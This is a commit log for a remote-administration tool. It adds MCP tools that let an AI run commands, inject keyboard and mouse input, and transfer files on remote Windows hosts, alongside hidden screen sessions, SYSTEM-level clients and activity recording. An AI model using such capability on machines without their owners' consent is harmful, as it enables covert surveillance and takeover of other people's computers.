71 Commits

Author SHA1 Message Date
yuanyuanxiang
b41b27bfe4 Release v1.3.9 2026-09-02 19:13:40 +02:00
yuanyuanxiang
6bcd593b6d Feature: Add upload_file MCP tool (V2 protocol, main-connection upload)
Implement the P2 upload_file tool to push a local file or directory from the
master to an online Windows host over the existing V2 file-transfer protocol.
The server drives FileBatchTransferWorkerV2 synchronously on the main
connection through a headless callback, reuses the list_files chain for the
overwrite pre-check, and is gated by McpFileTransfer=1 plus McpReadonly=0.

The client main connection never initialized the file-transfer module, so
g_status stayed 0 and RecvFileChunkV2 silently dropped every chunk, truncating
uploads to zero bytes. Add a once-per-process lazy InitFileUpload in the
COMMAND_SEND_FILE_V2 handler that mirrors the FileManager init; the destructor
deliberately does not Uninit so g_status remains 1 across reconnects.

Update the design doc to record the client-side change and correct the
upload_file description to state that sha256 is not returned (V2 has no
receiver-to-sender ACK; integrity is checked client-side and logged only).

Co-Authored-By: deepseek-v4-pro
2026-08-31 22:43:16 +02:00
yuanyuanxiang
5c77f5ce14 Feature: Add download_file MCP tool (V2 protocol, SHA-256 verified)
download_file pulls a remote file or directory back to the controller over
the existing V2 file-transfer protocol. It reuses COMMAND_LIST_DRIVE to open
the file-manager sub-link, then sends CMD_DOWN_FILES_V2 so the Windows client
streams COMMAND_SEND_FILE_V2 chunks and a per-file COMMAND_FILE_COMPLETE_V2
SHA-256 checksum over its own authenticated sub-connection. The server routes
those two packet types into a new per-device FileTransferSession whenever a
download is pending, so the headless path never opens the GUI progress dialog;
the C2C and existing GUI branches are left untouched.

Files are written under a normalized local_dir, and every chunk filename is
resolved and verified to stay inside local_dir (directories included) to block
.. traversal; overwrite=false skips existing files and counts them as skipped.
One transfer per host (mutually exclusive with the one-shot pending registry),
a dedicated McpFileTransfer=0-by-default gate surfaced in the settings dialog,
and audit logging complete the change. upload_file remains future work.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:51 +02:00
yuanyuanxiang
ac2855198b Fix: terminal_exec sentinel timeout on numeric timeout_ms and silent commands
Two independent bugs made MCP terminal tools time out despite the command
finishing.

First, timeout_ms is declared integer in the tool schemas but was parsed
through GetStringArg, which only reads JSON strings. A numeric value fell
through to the 20s default, so callers asking for a longer wait were cut off
at 20s. exec_command, terminal_open, terminal_exec and remote_open now parse
timeout_ms through GetIntArg, which accepts both JSON numbers and digit
strings, keeping the 1..600000 range guard.

Second, FindSentinel treated the __MCP_DONE_<nonce>__ marker as a line start
only when preceded by \n. Commands that produce no output (ping > nul,
Start-Sleep, tar -czf) echo their command line ending in \r, so the marker
never matched and the wait ran to timeout even though the command had
completed. The check now also accepts \r.

Co-Authored-By: deepseek-v4-pro
2026-08-30 13:19:22 +02:00
yuanyuanxiang
52b4afb8cf Improve: three-state online host list sorting
Clicking the same column header now cycles ascending -> descending ->
restore default order instead of only toggling direction. The default order
is the host connection order, reconstructed by sorting on online time
(descending alive time) so it no longer depends on the in-memory append
order surviving an earlier sort. The reset preference is persisted as an
empty value so it survives a restart.

Co-Authored-By: deepseek-v4-pro
2026-08-29 16:29:49 +02:00
yuanyuanxiang
35dc2d89a0 Fix: hold IoRefCount across deferred heartbeat update to prevent use-after-free
Frequent standby-park churn (duplicate logins sharing one clientID) was
crashing the server with 0xC0000409 (STACK_BUFFER_OVERRUN). The heartbeat
handler posts the raw CONTEXT_OBJECT pointer via PostMessageA
(WM_UPDATE_ACTIVEWND) without holding a reference, so RemoveStaleContext
could recycle the context back to the pool and reuse it before the UI
thread consumed the queued message. UpdateActiveWindow then read a
stale/recycled object, and the unguarded Authorization memcpy overflowed
the 200-byte HeartbeatACK field and clobbered the stack cookie.

Hold the object's IoRefCount across the deferred message: fetch_add
before PostMessageA (with rollback on failure) and a paired fetch_sub in
UpdateUserEvent after UpdateActiveWindow returns. RemoveStaleContext
already waits for IoRefCount == 0 before MoveContextToFreePoolList, so
the object is now guaranteed to stay alive for the whole deferred call.

Also bound the three memcpy sites (two Signature[64], one
Authorization[200]) with explicit truncation so an unexpectedly long
signature or license can no longer overflow its fixed buffer in Release
builds, where ASSERT is a no-op.

Co-Authored-By: deepseek-v4-pro
2026-08-29 06:44:27 +02:00
yuanyuanxiang
d99122b25f Fix: Window manager view check reads stale state after restore
The window manager's "view" action checks the window state against the
ItemData.Data[2] field populated when the list was built. The right-click
show/hide/maximize/minimize handlers updated only the list control's display
text via SetItemText, leaving Data[2] stale. After restoring a minimized
window, viewing still reported "该窗口已最小化" until the dialog was reopened.

Sync Data[2] alongside SetItemText in all four handlers so the view check and
the status-column sort both see the current state.

Co-Authored-By: deepseek-v4-pro
2026-08-26 21:24:07 +02:00
yuanyuanxiang
d55d40e7a2 Feature: Exclude human Web viewing from MCP remote control sessions
Complete the bidirectional mutual exclusion between MCP remote control
and human Web viewing (§8.2). Direction 1 (remote_open rejected while a
human session holds the screen sub-connection) already existed; this adds
direction 2: a human Web viewer is now rejected while an MCP session owns
the device.

Add a m_McpTriggeredDevices marker (mirroring m_MfcTriggeredDevices) that
is set when an MCP session is created (BeginScreenCtrlOpen) and cleared at
every session-erasure site (CloseScreenCtrlSession, SweepIdleScreenCtrl,
OnScreenControlClosed, EndScreenCtrlAction), so the marker cannot go stale
and permanently block humans. HandleConnect checks IsMcpTriggered before
mutating client state or starting the remote desktop.

Co-Authored-By: deepseek-v4-pro
2026-08-25 14:14:26 +02:00
yuanyuanxiang
25a6e2d07a Feature: Add remote_clipboard MCP tool
Add the remote_clipboard tool to the MCP remote control surface, writing
text to the remote host's clipboard via COMMAND_SCREEN_SET_CLIPBOARD
through the established screen sub-connection. Input UTF-8 is converted
to GBK (ToAnsi, code page 936) to match the client's CF_TEXT/ANSI
clipboard path, mirroring the existing CScreenSpyDlg::SendServerClipboard
packet format. Pasting remains a separate step (remote_keyboard Ctrl+V).

Known MVP limitation, documented in the tool description: non-GBK
characters (e.g. emoji) are replaced by '?' on the CF_TEXT path.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:45:51 +02:00
yuanyuanxiang
18259b8526 Feature: Add remote_mouse MCP tool
Add the remote_mouse tool to the MCP remote control surface, injecting
mouse events (move / down / up / click / right_click / middle_click /
drag / scroll) into an established remote_open session. Normalized 0..1
coordinates are mapped to physical pixels via the session's captured
resolution and clamped to screen bounds. Scroll follows the existing web
console's wheel sign convention (positive delta scrolls down) and is
vertical-only.

Extract BuildMouseMsg64 into WebService.h as a shared helper, reused by
both the web console's HandleMouse and the new MCP handler so the two
injection paths cannot drift.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:38:09 +02:00
yuanyuanxiang
f04d892ac8 Feature: Add remote_keyboard MCP tool (key_down / key_up / key_press / type)
Implement milestone M2b of the MCP remote-control design: inject keyboard
events through an existing screen sub-connection.

- Extract the MSG64 keyboard construction from WebService::HandleKey into a
  shared inline BuildKeyMsg64 helper in WebService.h, and have HandleKey use
  it (behaviour-preserving) so the Web and MCP paths cannot drift.
- Add BuildRemoteKeyboard with four actions: key_down / key_up / key_press
  (key name -> VK via MapKeyNameToVk, plus CTRL/ALT/SHIFT/WIN modifiers) and
  type (per-character VkKeyScanA mapping, ASCII only, newline/tab -> Enter/Tab).
  The batch is sent as one [COMMAND_SCREEN_CONTROL][MSG64*N] packet over the
  screen sub-connection under the existing Begin/EndScreenCtrlAction busy
  discipline, then audited via WM_SHOWERRORMSG.

Non-ASCII text is rejected (-32602) and must go through remote_clipboard +
Ctrl+V (milestone M4), matching the design's clipboard path for CJK input.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:22:00 +02:00
yuanyuanxiang
c844ba7614 Fix: Client misparses screen-control batches when record count is a multiple of 7
ProcessCommand chose the MSG record size by testing "ulLength % 28 == 0"
before "% 48 == 0". The two sizes' least common multiple is 336 (7*48 =
12*28), so a 48-byte batch whose record count is a multiple of 7 was
misclassified as 28-byte MSG32 records, shifting every field and garbling
(or silently dropping) injected input.

Check "% 48 == 0" first. The modern controller always emits 48-byte MSG64;
the 28-byte MSG32 path is legacy 32-bit-controller compatibility and is only
reached when 48 does not divide evenly. This is the first feature (MCP
remote_keyboard "type", and the upcoming remote_mouse drag) to emit
multi-record batches, which is what made the latent bug reachable.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:21:54 +02:00
yuanyuanxiang
09018e2b4d Improve: Harden MCP screen-ctrl session state machine for injection
Add the busy/closed flags to ScreenCtrlSession plus BeginScreenCtrlAction
/ EndScreenCtrlAction, mirroring the terminal's busy discipline so an
in-flight injection cannot race with session teardown (review finding #6).

While an injection is in flight (busy=true), OnScreenControlClosed marks the
session closed instead of erasing it (the injection thread, which still holds
subCtx, cleans up in EndScreenCtrlAction), SweepIdleScreenCtrl skips it, and
CloseScreenCtrlSession defers the erase. The subCtx is looked up under
m_ScreenCtrlMutex and the injection is sent outside the lock, matching the
established terminal pattern; the screen sub-connection's CONTEXT_OBJECT::Send2Client
already serializes internally via SendLock.

Co-Authored-By: deepseek-v4-pro
2026-08-25 13:04:05 +02:00
yuanyuanxiang
6045baadb8 Feature: Add MCP remote_open/remote_close remote control sessions
Add M1 of MCP remote control (docs/Mcp_RemoteControl_Design.md): the
remote_open / remote_close tools plus the ScreenCtrlSession state machine.

remote_open establishes a hidden screen sub-connection by reusing
WebService::StartRemoteDesktop (COMMAND_SCREEN_SPY -> CScreenSpyDlg ->
RegisterScreenContext), polls for the sub-connection plus its physical
resolution (TOKEN_BITMAPINFO -> NotifyResolutionChange -> GetScreenSize),
then records the session (single device, single session, reverse-mapped
subCtx for OfflineProc cleanup) and returns {session_id, screen_w,
screen_h}. remote_close validates session_id and tears down the
sub-connection idempotently. A McpRemoteControl settings checkbox (default
off, requires McpReadonly=0) gates the tools; every open/close is audited
via WM_SHOWERRORMSG.

Gating: multi-monitor hosts are rejected with -32008 (phase 1 supports only
single monitor, where Observe=main screen and Act=virtual desktop coincide);
the monitor count comes from the client heartbeat RES_RESOLUTION ("N:W*H").

Known limitations (deferred to the injection milestones): mutual exclusion
with human remote-desktop viewing is one-directional in M1 (a human who
joins during an MCP session can tear it down on disconnect), and subCtx is
not yet dereferenced so no liveness re-check is needed until
remote_mouse/remote_keyboard.

Co-Authored-By: deepseek-v4-pro
2026-08-25 12:55:52 +02:00
yuanyuanxiang
84e3565de1 doc: Add remote control MCP design doc
Add docs/Mcp_RemoteControl_Design.md, the reference design for an
screenshot-driven AI remote-control feature: the existing get_screenshot for
observation plus remote_open/remote_close/remote_mouse/remote_keyboard for
input injection, reusing COMMAND_SCREEN_PREVIEW_REQ and COMMAND_SCREEN_CONTROL
+ MSG64. Coordinates are normalized (0..1) and mapped server-side to physical
pixels; injection runs over the screen sub-connection opened by
WebService::StartRemoteDesktop's hidden CScreenSpyDlg. Includes a
chat-on-behalf experiment case with clipboard-encoding and window-capture
notes.

Also fold in the get_audit_log encoding correction for
docs/Mcp_Terminal_Design.md, so the two doc changes ship as one commit.

Co-Authored-By: deepseek-v4-pro
2026-08-24 21:51:12 +02:00
yuanyuanxiang
70dbb6b255 Feature: Add persistent remote terminal MCP tools
Add terminal_open / terminal_exec / terminal_close so an AI can hold one
shell session per Windows host and run a sequence of commands with cwd and
environment preserved, instead of the one-shot exec_command.

The persistent terminal is a separate full-command write capability gated by
McpTerminal (default off) plus McpReadonly=0, with no whitelist and full
audit. One device maps to one terminal session via the shared m_TermSessions
map; idle sessions are swept after 300s. terminal_exec rejects commands that
contain & or | (they corrupt the sentinel control-operator chain) as well as
control characters.

Also harden exec_command and terminal_exec against newline/CR injection, fix a
dangling subCtx after an abrupt shell disconnect, and refresh lastActiveAt on
command completion. Add en/zh-TW translations for the new UI strings and a
design document covering both exec_command and the persistent terminal.

Co-Authored-By: deepseek-v4-pro
2026-08-24 19:11:16 +02:00
yuanyuanxiang
0ddbc1aced Feature: Add exec_command MCP tool
Add a one-shot exec_command MCP tool that runs a command on a remote
Windows host and returns stdout plus exit code, reusing the Web terminal
link (main-connection COMMAND_SHELL, a shell sub-connection, and a
sentinel command line located via rfind to tolerate ConPTY echo).

The sentinel marker is embedded in the command line ConPTY echoes back,
so it is only treated as hit when it starts a line (preceded by a newline
or the buffer start); this keeps the echoed marker from being mistaken
for the real sentinel when the echo packet arrives before the output.

Execution is gated at Web remote-desktop sensitivity: a read-only mode
(McpReadonly, default on, hides the tool) and a command whitelist
(McpCmdWhitelist) with built-in read-only prefixes. Shell metacharacters
(& | < > ^) are rejected before whitelist matching, and each execution is
recorded in the server audit log.

Extend the MCP settings dialog with the read-only checkbox and a
multi-line whitelist box (commas and newlines both accepted, normalized
to a comma-separated list on save), and add English and Traditional
Chinese mappings for the new UI and audit-log strings.

Co-Authored-By: deepseek-v4-pro
2026-08-23 23:23:20 +02:00
yuanyuanxiang
8bd6f3b60a Feature: Add list_registry MCP tool
Add a read-only list_registry MCP tool for querying a remote Windows
host's registry. An empty path returns the five root keys; a path such as
HKEY_LOCAL_MACHINE plus subkeys returns that key's immediate subkeys and
values (name, type, and formatted data).

Client side: enumerate with KEY_READ instead of KEY_ALL_ACCESS and map the
full value-type set (REG_SZ, REG_DWORD, REG_BINARY, REG_EXPAND_SZ,
REG_MULTI_SZ, REG_QWORD, REG_NONE) so unknown types are no longer
mis-reported as REG_SZ. The registry manager now always sends both the
TOKEN_REG_PATH and TOKEN_REG_KEY packets (an empty packet when a part is
empty), making the two-packet reply deterministic for the server.

Server side: add the three-phase flow (COMMAND_REGEDIT, COMMAND_REG_FIND,
then PATH plus KEY) with per-host pending state, parse the fixed-width
wire format with bounds checks, format value data for JSON, and guard
registry paths against exceeding MAX_PATH to protect the client stack.

Co-Authored-By: deepseek-v4-pro
2026-08-23 10:37:55 +02:00
yuanyuanxiang
8815c4f896 Feature: Add get_audit_log MCP tool
Expose the server main-window audit log (host online/offline, operation
results, alerts) as a read-only, no-arg, in-memory MCP tool. The log lives
in m_CList_Message, a CListCtrl that is only safe to touch on the UI
thread, so add a thread-safe mirror m_MessageLog (guarded by m_cs) and keep
it in sync at the four item-mutation sites: ShowMessage, OnShowErrMessage,
OnMsglogDelete and OnMsglogClear. The tool reads the mirror directly under
m_cs and returns up to MAX_MESSAGE_COUNT (1000) entries, newest first.

Co-Authored-By: deepseek-v4-pro
2026-08-21 20:33:59 +02:00
yuanyuanxiang
8de5c00a39 Improve: Park duplicate online connections as standby, promote on old removal
Replacing the old connection on a duplicate login made the client
reconnect in a tight loop. Instead, park the new connection in a standby
list keyed by clientID and promote it into the main host list only after
the old connection is removed by heartbeat timeout or disconnect.

Fix heartbeat attribution so a parked standby refreshes its own
last-heartbeat time rather than the main connection's, otherwise the main
never times out and the standby can never take over. Gate the offline
notification on an actual removal with no promoted standby to avoid a
spurious "host offline" when takeover happens. Skip promoting a standby
already marked removed, and reuse the normal login sign/settings path when
a standby is promoted.

Co-Authored-By: deepseek-v4-pro
2026-08-21 19:50:11 +02:00
yuanyuanxiang
d359148841 doc: Add the "docs\macOS_Support_Design.md" to git 2026-08-21 14:15:31 +02:00
yuanyuanxiang
11e8b122fe Fix: Client log dialog stops updating past edit-control default limit
The Win32 EDIT control caps text at ~32K/64K chars by default, so the
client log dialog silently stopped accepting appends long before the
512KB truncation logic could run. Call SetLimitText(0) in both
CClientLog and CActivityDialog to lift the cap.

Also unify newline handling in Logger: each entry now ends with exactly
one '\n' at the source, so the in-memory ring-buffer dump (used by the
TCP log query) splits into lines correctly instead of relying on every
Mprintf caller ending its format with '\n'. writeToFile drops the extra
std::endl accordingly.

Additionally fix a CFont leak in CClientLog::OnInitDialog by moving the
font to a member.

Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
2026-08-20 17:54:33 +02:00
yuanyuanxiang
0a1ecfc4ab Improve: Show host remark instead of IP in remote desktop dialog titles
When an online host has a remark set in the client list, use it in place of
the IP in the remote desktop ("远程桌面控制") and virtual screen ("远程虚拟屏幕")
dialog titles, falling back to the IP when no remark is present.

Add a GetTitleHostName() helper to both dialogs. CScreenSpyDlg resolves the
remark through its parent dialog's client map, while CHideScreenSpyDlg uses
the global g_2015RemoteDlg pointer; each falls back to m_IPAddress when the
host has no remark.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:36:30 +02:00
yuanyuanxiang
c08315cd79 Fix remote desktop cursor cross-contamination across dialogs
The view-mode "forbidden" cursor was applied with SetClassLongPtr(GCLP_HCURSOR),
which mutates the cursor for the whole window class instead of the single dialog
instance. Opening a second remote-desktop dialog without remote control overwrote
that shared class cursor with IDC_NO, so the already-controlled dialog also began
showing the forbidden icon even though it remained operable.

Move the view-mode cursor decision into OnSetCursor, which Windows routes per
window, and remove the now-unused class-cursor assignments. Remote-control mode
and the remote cursor-shape path are left unchanged.

Also drop the dead m_hRemoteCursor member and the leftover GetIconInfo block
(which leaked hbmMask/hbmColor in ScreenSpyDlg), plus the now-unreferenced
m_bMouseTracking flag.

Co-Authored-By: deepseek-v4-pro
2026-08-20 16:26:12 +02:00
yuanyuanxiang
5611ba621c Feature: Add list_services and get_client_log MCP tools
Add the two P2d read-only MCP tools, both one-shot sub-links (mode A') on
the existing single-flight pending registry.

list_services sends COMMAND_SERVICES; the client's CServicesManager emits
TOKEN_SERVERLIST on sub-link creation, parsed as 5 null-terminated fields per
record (display_name/service_name/binary_path/status/start_type) with
zero-padding termination. Services are Windows-only, so LNX/MAC hosts get
-32005 up front instead of a 20s timeout.

get_client_log sends COMMAND_QUERY_LOG; the client's CClientLogManager dumps
its full in-memory Logger ring buffer once, then pushes deltas every 3s. The
MCP path takes the first (full) TOKEN_REPORT_LOG and cancels the sub-link so
later deltas stop, while the MFC log dialog keeps receiving deltas on the
non-pending branch. Log text is client ANSI on Windows, decoded by clientType
like process/file names. MessageHandle intercepts both with
IsPending -> TakeMainResponse + CancelIO. Sync the design doc (P2d section +
verification notes; Linux get_client_log timeout is a client-version gap).

Co-Authored-By: deepseek-v4-pro
2026-08-19 14:28:10 +02:00
yuanyuanxiang
c6c6e1d5ef Improve: Add optional max_width to get_screenshot
The get_screenshot tool inherited the MFC thumbnail-preview profile, capping
the frame at 1024px wide (1280 on 4K source), which is too small for AI
vision/OCR of dense UI. Add an optional max_width argument that overrides the
width (clamped to the client's 64..1920 limit) while keeping the RTT-adaptive
jpegQuality. Omitted or 0 keeps the existing thumbnail profile; 1920 yields
near-native resolution (full 1080p on a 1080p source, 1920 wide on 4K). Sync
the design doc.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:41:38 +02:00
yuanyuanxiang
61089e5fae Feature: Add list_files and get_screenshot MCP tools
Add the two P2c MCP tools on top of the P2b protocol. list_files lists
drives (COMMAND_LIST_DRIVE -> TOKEN_DRIVE_LIST) or a directory (follow-up
COMMAND_LIST_FILES -> TOKEN_FILE_LIST on the same one-shot sub-link);
get_screenshot reuses the screen-preview RPC with a per-host reqId
correlation so stale or MFC-preview responses fall through to the MFC
path untouched. Both share the P2b single-flight pending registry.

Fix file/process name encoding: the client reads process names, paths and
file names via the ANSI (A) APIs, so they are GBK on Windows regardless of
the CLIENT_CAP_UTF8 capability bit (which governs window titles only).
Decode by clientType (LNX/MAC = UTF-8, Windows = 936) rather than
GetClientEncoding, and convert the list_files path to the client ANSI code
page before sending. Sync Mcp_Phase2_Design.md with the P2c design and the
encoding correction.

Co-Authored-By: deepseek-v4-pro
2026-08-19 13:27:32 +02:00
yuanyuanxiang
bcde74368d Fix: Resolve window titles by clientID instead of peer IP
Window list (WSLIST) sub-connections carry no capability bits, so
GetClientEncoding fell back to FindHostByIP(peer IP) to locate the main
connection. Under FRP/NAT reverse proxy the sub-connection's socket peer
is 127.0.0.1 or an internal relay address, which does not match the main
connection's recorded public IP; the lookup returned NULL and the client's
UTF-8 window titles were decoded as CP936 (GBK), producing mojibake on
hosts with Chinese window titles.

Resolve the main connection by clientID first (pinned on the sub-connection
after TOKEN_CONN_AUTH via SetID), falling back to the peer-IP lookup only
for legacy clients that do not send TOKEN_CONN_AUTH.

Co-Authored-By: deepseek-v4-pro
2026-08-19 11:05:35 +02:00
yuanyuanxiang
6ba6b0289d Feature: Add list_processes, list_windows and get_activity_history MCP tools
Add three read-only P2b MCP tools over the existing protocol. list_processes and list_windows trigger the client via COMMAND_SYSTEM / COMMAND_WSLIST on the main connection and receive TOKEN_PSLIST / TOKEN_WSLIST on a one-shot sub-link; get_activity_history uses the main-connection RPC COMMAND_QUERY_ACTIVITY -> TOKEN_REPORT_ACTIVITY. A per-host single-flight pending registry (m_Pending) with a 20s timeout correlates each response to its request and rejects a concurrent request for the same host with -32003. Parsers stop on the first empty record to ignore the client's LocalSize trailing zero padding, and window titles are decoded per the client UTF-8 capability bit. MessageHandle only adds if-guarded branches, so the MFC dialogs are untouched. Sync Mcp_Phase2_Design.md with the mode A'/A architecture, the verification notes, and the registry-backed config location.

Co-Authored-By: deepseek-v4-pro
2026-08-19 09:58:58 +02:00
yuanyuanxiang
86c4f14cf4 Feature: Add search_hosts and get_host_detail MCP tools
Add two pure in-memory MCP tools over the online host list. search_hosts filters by name/remark, IP, group and OS (all optional, AND-combined, ASCII case-insensitive substring match); get_host_detail returns one online host by id and answers -32602 for a missing/non-numeric id and -32002 for an unknown or offline id. Sync Mcp_Phase2_Design.md with the second-review corrections and the P2a implementation.

Co-Authored-By: deepseek-v4-pro
2026-08-18 16:53:28 +02:00
yuanyuanxiang
13052b7cae Feature: Add MCP (Model Context Protocol) server integration
Add an optional MCP server (JSON-RPC 2.0 over Streamable HTTP) exposing
an online-host listing tool, protected by a Bearer token. Disabled by
default; configured via a new "Extensions > MCP Settings" dialog.

- McpServer: httplib + JSON-RPC 2.0 dispatch (initialize/ping/tools/list/tools/call)
- McpSettingsDlg: runtime-created dialog for enable/port/bind/token
- HostJson: extract single-host JSON serialization shared with WebService
- FRP: expose MCP port (union with listening/Web ports) when bound to 0.0.0.0
- i18n: en_US / zh_TW translations

Co-Authored-By: deepseek-v4-pro
2026-08-16 14:37:11 +02:00
yuanyuanxiang
43398e405e Feature: Add icons to online host context menu items
Add 16x16 icons for the three context-menu items that previously had
none: "Activity History" (Client Management), "Browse Window" (Remote
Control), and "Proxy Port - Auto Start" (Client Proxy). Register three
new bitmap resources and extend the main dialog's bitmap array from 63
to 66 entries so each menu item renders an intuitive glyph.

Co-Authored-By: deepseek-v4-pro
2026-08-15 13:42:57 +02:00
yuanyuanxiang
29929e48b2 Feature: Add client activity history recording and display
Record the client's active-window history (start time, window title, and
dwell duration), newest first, skipping dwellings under 5 seconds and
breaking the timing on idle, capped at 500 entries. Add an "Activity
History" item inside the host's Client Management submenu that requests
the snapshot over the main connection and shows it in a new dialog. The
dialog rebuilds its edit control as a Unicode window so UTF-8 titles
render correctly instead of degrading to "?" through the MBCS ANSI
boundary. The menu item and dialog title go through _TR and are
localized in en_US and zh_TW.

Co-Authored-By: deepseek-v4-pro
2026-08-15 11:09:14 +02:00
yuanyuanxiang
d0bad75284 Feature: Remember host list sort preference in main dialog
Persist the sort column and direction chosen via the online host list
header (list\OnlineListSort registry key) so the next launch defaults to
the same sort. Re-apply the sort when hosts come online/offline so newly
connected hosts land in their sorted position instead of appending at the
end.

Co-Authored-By: deepseek-v4-pro
2026-08-13 13:12:29 +02:00
yuanyuanxiang
9d2e9ec8ca Feature: Remember process/window list sort preference
Persist the sort column and direction chosen via the list header so the
next time the process or window management dialog opens it defaults to
the same sort. Process and window lists are remembered separately
(list\ProcessListSort and list\WindowListSort registry keys) since their
columns have different meanings.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:59:29 +02:00
yuanyuanxiang
2d7f224a22 Fix: process list architecture column sorting was a no-op
The process list stored the architecture string only in ItemData::Arch,
leaving Data[3] (the architecture column) empty. Sorting by the
architecture column therefore compared empty strings and did nothing.
Populate Data[3] with the architecture value so the sort works.

Co-Authored-By: deepseek-v4-pro
2026-08-13 12:44:14 +02:00
yuanyuanxiang
c8973282cb Feature: Add "Unban IP" to log message context menu in main dialog
- Add "Unban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, performing two actions on the extracted IP:
  1. Remove the IP from the IPBlacklist singleton and persist to config
  2. Scan the entire history host list (m_ClientMap->GetAll()) for all
     clients matching the IP with AUTH_FORBIDDEN status, and restore
     them to UNAUTHORIZED (0) — requiring re-authorization for safety
- Reuses ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
- Handles the case where an IP is not in the blacklist and has no
  matching forbidden clients with a clear "no action needed" message
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-07 11:45:18 +02:00
yuanyuanxiang
7bbc47a0ee Feature: Add "Ban IP" to log message context menu in main dialog
- Add "Ban IP" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them directly to the IP blacklist
- Reuses ExtractFirstIPFromMessage() from the previous commit for
  dependency-free IPv4 parsing with per-segment 0-255 validation
- Checks against whitelist before banning (whitelisted IPs cannot be
  banned) and skips IPs already in blacklist with clear feedback
- Immediately persists via THIS_CFG.SetStr to the config ini file;
  IPBlacklist singleton takes effect instantly — subsequent connections
  from banned IPs are rejected in IOCPServer::OnAccept() which already
  calls IsIPBlacklisted() on every new connection
- Menu item is grayed out when no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 20:44:33 +02:00
yuanyuanxiang
eeacbe5d61 Feature: Add "Online Notify" to log message context menu in main dialog
- Add "Online Notify" menu item to the log message list (m_CList_Message)
  right-click context menu, allowing users to extract IPv4 addresses from
  selected log entries and add them to notification keywords
- Implement ExtractFirstIPFromMessage() for dependency-free IPv4 parsing
  with per-segment 0-255 validation, handling diverse log message formats
- Extend NotifyManager::ShouldNotify with IP column (ONLINELIST_IP)
  fallback check, ensuring IP keywords match regardless of the user's
  configured ColumnIndex setting
- OnMsglogLoginNotify only appends keywords and enables the rule without
  overwriting the user's existing ColumnIndex or TriggerType settings
- Menu item is automatically grayed out when PowerShell is unavailable
  or no log entry is selected
- Sync en_US / zh_TW language files with new translation strings

Co-Authored-By: DeepSeek V4 Pro
2026-08-06 18:13:14 +02:00
yuanyuanxiang
7c09e9dd8c Fix: Move ONLINELIST_PRIVILEGE to end of enum to fix history host column data corruption
Commit 6d0b1bb (Feat: Add privilege column) inserted ONLINELIST_PRIVILEGE
at enum value 9, shifting INSTALLTIME from 9→10 and PATH from 12→13.
However, FileUpload_Lib (SimplePlugins) is compiled against a separate
copy of context.h that still uses the old enum values. Since
HostInfo.cpp's SaveClientMapData uses OLD enum values to read
sClientInfo[], it was reading privilegeStr for InstallTime and client
type for ProgramPath — corrupting the history host database.

Fix: move ONLINELIST_PRIVILEGE to value 16 (just before MAX), restoring
all original enum values (INSTALLTIME=9, PATH=12, etc.) so the
pre-built library can continue reading correct data without recompilation.

The 'permission' column now appears as the rightmost column in the
online host list instead of between 'version' and 'install time'.

Co-Authored-By: DeepSeek V4 Pro
2026-08-05 20:07:21 +02:00
yuanyuanxiang
d99510e46d Release v1.3.8 2026-08-03 18:30:40 +02:00
yuanyuanxiang
b97f086c0c Feature: Add log search bar with prev/next/clear for m_CList_Message
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-16 00:10:12 +02:00
yuanyuanxiang
f24e7acc48 Fix: Switching between 32bits and 64bits causes master crash 2026-07-14 22:32:29 +02:00
yuanyuanxiang
0cd7516bde Improve: Save user customized remote desktop cursor settings to registry 2026-07-14 21:38:21 +02:00
yuanyuanxiang
a646e0417d Feature: Support to forbidden the user in violation of rules 2026-07-14 15:17:31 +02:00
yuanyuanxiang
23c9a4f242 Feature: add client log dialog with auto-refresh, icon and menu bitmap
- CClientLogManager: push thread sends incremental logs every 3s; join() instead of detach() prevents use-after-free on shutdown
- CClientLog::OnReceiveComplete: handles TOKEN_REPORT_LOG on IOCP thread via PostMessage, fixing incremental packets being silently dropped
- Dialog icon (ClientLog.ico) and menu bitmap (ClientLog.bmp) added; OnInitDialog loads icon; IDR_MENU_LIST_ONLINE "运行日志" item gets the bitmap

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-07-13 19:02:25 +02:00
yuanyuanxiang
85a5774a0f Feature: Add a menu to input YAMA_DBG which allows debugging 2026-07-11 22:59:51 +02:00
yuanyuanxiang
f2a95848ce Feature: Add a "View Windows" menu for remote desktop control 2026-07-11 18:05:25 +02:00
yuanyuanxiang
f146af121a Fix: prevent mobile web remote desktop freeze on Safari app-switch
by forcing clean WS reconnect on foreground return;

add 30-second grace period on server to avoid cold-start on quick reconnects
2026-07-10 16:08:02 +02:00
yuanyuanxiang
72dcdc5a6f Fix: RunFileReceiver must not register ReconnectProcess
to avoid killing the main screen session on file transfer completion
2026-07-07 16:30:27 +02:00
yuanyuanxiang
8e170cf971 Fix: toggle privacy wallpaper menu item to clear instead of re-picking when already set 2026-07-03 20:57:54 +02:00
yuanyuanxiang
6d0b1bb07b Feat: Add privilege column (SYSTEM/Admin/User) to online host list 2026-07-01 09:32:28 +02:00
yuanyuanxiang
bcccbefb77 Feature: Client running as SYSTEM and support remote control 2026-06-29 22:49:30 +02:00
yuanyuanxiang
92f6683fe1 Release v1.3.7 2026-06-26 15:28:57 +02:00
yuanyuanxiang
d7408ad4df Feat: Client build dialog support building Android application 2026-06-25 17:48:45 +02:00
yuanyuanxiang
5296e534ed Fix: Android client stops service when server sends BYE (delete client)
ConnectionThread now calls CaptureService.onNativeExit() via JNI on exit
when g_bExit == S_CLIENT_EXIT (server-initiated). The Java side posts
stopSelf() on the service handler. Guard: instance is null in the
user-initiated teardown path (onDestroy nulls it before nativeStop),
so onNativeExit is a no-op in that case.

Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
2026-06-25 17:38:01 +02:00
